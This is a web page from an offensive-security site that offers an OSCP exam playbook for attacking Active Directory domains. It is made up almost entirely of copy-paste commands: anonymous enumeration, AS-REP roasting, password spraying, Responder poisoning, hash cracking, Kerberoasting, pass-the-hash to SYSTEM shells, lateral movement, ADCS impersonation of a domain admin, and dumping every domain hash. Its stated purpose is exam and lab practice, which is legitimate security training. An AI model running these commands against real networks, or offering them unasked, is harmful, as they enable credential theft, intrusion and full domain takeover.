Howlsec
HOWLSEC
offensive security
// oscp playbook

Attacks by target

Pick your target type, then work down the checklist. Every item has the command ready to run and remembers what you've ticked off.

✅ Exam Day Checklist

0/13
Set your variables once, then every command below is copy-paste ready:
🐺 howlsec@kali
$export IP=10.10.10.5        # target
$export DC=10.10.10.5        # domain controller
$export DOMAIN=corp.local
$export USER=jdoe
$export PASS='Password123!'
$export LHOST=$(ip -4 addr show tun0 | grep -oP '(?<=inet )[0-9.]+')
🏛️

Active Directory

Domain-joined targets. Enumerate → get a first credential → roast → move laterally → own the domain.

0/16 · 0%

1 · Unauthenticated enumeration

  • 🐺 howlsec@kali
    $# Full unauth SMB/RPC enumeration sweep
    $enum4linux-ng -A $IP
    $# List SMB shares with a null session
    $smbclient -L //$IP/ -N
    $# List shares as an anonymous user via netexec
    $nxc smb $IP -u '' -p '' --shares
    $# Try the guest account for share access
    $nxc smb $IP -u guest -p '' --shares
  • 🐺 howlsec@kali
    $# Cycle RIDs as guest to pull domain usernames
    $nxc smb $IP -u guest -p '' --rid-brute
    $# Same via impacket over anonymous RPC
    $impacket-lookupsid $DOMAIN/guest@$IP -no-pass
  • 🐺 howlsec@kali
    $# Read the naming contexts exposed over LDAP
    $ldapsearch -x -H ldap://$IP -s base namingcontexts
    $# Dump the directory base if anonymous bind is allowed
    $ldapsearch -x -H ldap://$IP -b "DC=corp,DC=local"
  • 🐺 howlsec@kali
    $# Validate usernames via Kerberos without causing lockouts
    $kerbrute userenum -d $DOMAIN --dc $DC users.txt

2 · Get a first credential

  • 🐺 howlsec@kali
    $# Request AS-REP hashes for users without pre-auth
    $impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -dc-ip $DC -no-pass -format hashcat -outputfile asrep.hash
    $# Crack the AS-REP hashes offline
    $hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
  • 🐺 howlsec@kali
    $# Spray one password across all users via SMB
    $nxc smb $DC -u users.txt -p 'Winter2024!' --continue-on-success
    $# Kerberos-based spray (avoids SMB lockout noise)
    $kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2024!'
  • 🐺 howlsec@kali
    $# Poison name resolution on the LAN to capture NetNTLM
    $sudo responder -I tun0 -wv
    $# Crack the captured NetNTLMv2 hashes
    $hashcat -m 5600 responder.hash /usr/share/wordlists/rockyou.txt

3 · Authenticated enumeration

  • 🐺 howlsec@kali
    $# Collect all AD relationships remotely
    $bloodhound-python -u $USER -p $PASS -d $DOMAIN -c all -ns $DC --zip
    $# Alternative collector built into netexec
    $nxc ldap $DC -u $USER -p $PASS --bloodhound --collection All
  • 🐺 howlsec@kali
    $# Pull users, groups, and password policy
    $nxc smb $IP -u $USER -p $PASS --shares --users --groups --pass-pol
    $# Spider readable shares for interesting files
    $nxc smb $IP -u $USER -p $PASS -M spider_plus

4 · Kerberos attacks

  • 🐺 howlsec@kali
    $# Request TGS hashes for accounts with SPNs
    $impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC -request -outputfile spns.hash
    $# Crack the Kerberoast (TGS) hashes offline
    $hashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txt
  • 🐺 howlsec@kali
    $# Authenticate with an NT hash instead of a password
    $nxc smb $IP -u $USER -H <ntlm_hash>
    $# Get a SYSTEM shell using the hash
    $impacket-psexec -hashes :<ntlm_hash> $DOMAIN/$USER@$IP

5 · Lateral movement

  • 🐺 howlsec@kali
    $# Interactive shell over WinRM
    $evil-winrm -i $IP -u $USER -p $PASS
    $# Run commands over WMI (quieter)
    $impacket-wmiexec $DOMAIN/$USER:$PASS@$IP
    $# SYSTEM shell by dropping a service
    $impacket-psexec $DOMAIN/$USER:$PASS@$IP
  • 🐺 howlsec@kali
    $# Remote desktop with clipboard + auto resolution
    $xfreerdp /u:$USER /p:$PASS /v:$IP /dynamic-resolution +clipboard

6 · Escalate to Domain Admin

  • 🐺 howlsec@kali
    $# Replicate one account's hash from the DC
    $impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc-user Administrator
    $# Replicate every domain hash
    $impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc
  • 🐺 howlsec@kali
    $# Find vulnerable certificate templates
    $certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -vulnerable -stdout
    $# Request a cert impersonating a domain admin
    $certipy req -u $USER@$DOMAIN -p $PASS -ca <ca> -template <tmpl> -upn administrator@$DOMAIN
  • 🐺 howlsec@kali
    $# Dump the domain with the admin hash
    $impacket-secretsdump $DOMAIN/administrator@$DC -hashes :<ntlm_hash>